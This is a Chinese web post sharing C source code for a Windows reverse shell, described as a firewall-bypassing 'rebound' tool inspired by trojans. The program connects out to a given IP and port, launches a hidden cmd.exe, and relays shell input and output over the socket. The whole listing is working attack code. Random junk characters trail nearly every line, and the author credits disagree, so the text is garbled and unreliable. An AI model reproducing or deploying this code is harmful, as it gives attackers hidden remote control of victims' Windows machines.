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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z^W$%G  
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/* ============================== wAYB RY[  
Rebound port in Windows NT C+%K6/J(  
By wind,2006/7 lIf(6nm@  
===============================*/ 'r+PH*Mr  
#include KJh,,xI>by  
#include mm[SBiFO\  
dDtFx2(R  
#pragma comment(lib,"wsock32.lib") 7=P^_LcU  
o }@n>R  
void OutputShell(); V U~Dk);Bv  
SOCKET sClient; #Hu~}zy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "0&N}  
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void main(int argc,char **argv) 'v&}(  
{ S>Z|) I  
WSADATA stWsaData; pOga6'aB)  
int nRet; >UHa  
SOCKADDR_IN stSaiClient,stSaiServer; #S5`Pd!I  
-<N&0F4|*  
if(argc != 3) K`k'}(vj  
{ nWWM2v  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4MW ]EQ-  
return; uQeu4$k!  
} fgF;&(b  
Ec]|p6a3  
WSAStartup(MAKEWORD(2,2),&stWsaData); o6}n8U}bk  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mBk5+KyT  
ijUzC>O+q  
stSaiClient.sin_family = AF_INET; \u{8Bak0  
stSaiClient.sin_port = htons(0); qpqokK  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -5>NE35Cto  
Q M 1F?F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F#V q#|_)>  
{ {G*QY%j^  
printf("Bind Socket Failed!\n"); GsV4ZZ  
return; u oVNK  
} 6Nh0  
d^V$Z6* ]  
stSaiServer.sin_family = AF_INET; i$UQbd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HJhH-\{@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S>_27r{  
.~klG&>aV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;D2E_!N dt  
{ :q+N&j'3  
printf("Connect Error!"); uS5o?fg\e  
return; SR7j\1a/2A  
} F u _@!K  
OutputShell(); X K>&$<5{  
} t\R; < x  
RiFw?Q+  
void OutputShell() ..KwTf  
{ K5"sj|d&  
char szBuff[1024]; 3|kgTB-  
SECURITY_ATTRIBUTES stSecurityAttributes; Q9>U1]\  
OSVERSIONINFO stOsversionInfo; (f1M'w/OD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Fhj8lVvk  
STARTUPINFO stStartupInfo; [}o~PN:sT(  
char *szShell; 5lmO:G1  
PROCESS_INFORMATION stProcessInformation; H\G{3.T.9  
unsigned long lBytesRead; &__DJ''+  
/"#4T^7&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vk}49O<K/  
Z(Q2Ue;}&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,M6ZZ* ,e  
stSecurityAttributes.lpSecurityDescriptor = 0; 4j'd3WGpbN  
stSecurityAttributes.bInheritHandle = TRUE; ' UMFS  
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kE)!<1yy2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RtV.d \  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FY#!N L  
=@r--E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?nFO:N<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "mIgs9l$  
stStartupInfo.wShowWindow = SW_HIDE; zlf} .  
stStartupInfo.hStdInput = hReadPipe; Hi,t@!!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $H2GbZ-I  
h)x_zZ%>o  
GetVersionEx(&stOsversionInfo); RA/EpD:H  
ps1@d[n  
switch(stOsversionInfo.dwPlatformId) sH!O0WL  
{ pP/@  
case 1: ')#,X^   
szShell = "command.com"; ,=%nw]:  
break; UpUp8%fCU  
default: iI?{"}BZ  
szShell = "cmd.exe"; e<=;i" |  
break; :nGMtF  
} \e:d)^cbh  
lrEj/"M  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \8b6\qF/\  
x8N|($1  
send(sClient,szMsg,77,0); f~M8A.  
while(1)  '3 ,\@4  
{ Ex(3D[WmMW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \cySWP[  
if(lBytesRead) 'fW#7W  
{ Ka-p& Uv1<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;4~U,+Av  
send(sClient,szBuff,lBytesRead,0); |:q/Dt@  
} r6.N4eW.L  
else _PXdzeI.  
{ 3C^1f rF  
lBytesRead=recv(sClient,szBuff,1024,0); FLr ;`3  
if(lBytesRead<=0) break; _N#&psQzw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Dgi~rr1`'s  
} #}yTDBt  
} ,Ww  
SBfFZw)  
return; I3y9:4  
}
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